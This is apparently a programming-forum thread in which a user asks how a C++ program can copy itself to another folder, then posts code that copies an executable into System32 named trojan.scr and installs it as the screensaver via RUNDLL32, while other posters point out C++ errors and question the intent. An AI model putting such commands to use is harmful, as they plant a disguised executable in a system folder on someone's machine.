Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance!
Printable View
Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance!
Hey,
You can just use the system command.
So in your case:Code:system("copy source.txt destination.txt);
BageDevimo,Code:system("copy <filename> C:\\backup\\<filename>");
Thanks! Do you guys and gals see any errors in this code?
#include <iostream.h>
int main() {
system("copy winzip.exe c:\mydownloads");
system("copy winzip.exe c:\mydown~1");
system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
system("copy <winzip.exe> C:\\Winnt\\System32\\<trojan.scr>");
system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");
return 0;
}
What's the deal with this?Quote:
Originally Posted by wild life
The code you posted may as well be written as a batch script. The only errors I noticed on the C++ side of things are that <iostream.h> should just be <iostream> and that you should probably include cstdlib for the system function.
And this.
system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");
What are you doing there? :mad:
Haha, that's kind of funny. I thought he might have been making a virus when I saw his first post, this kind of implies that as well :P. This kind of thing might have some uses though, and if it's a trojen, maybe it's just a proof of concept thing?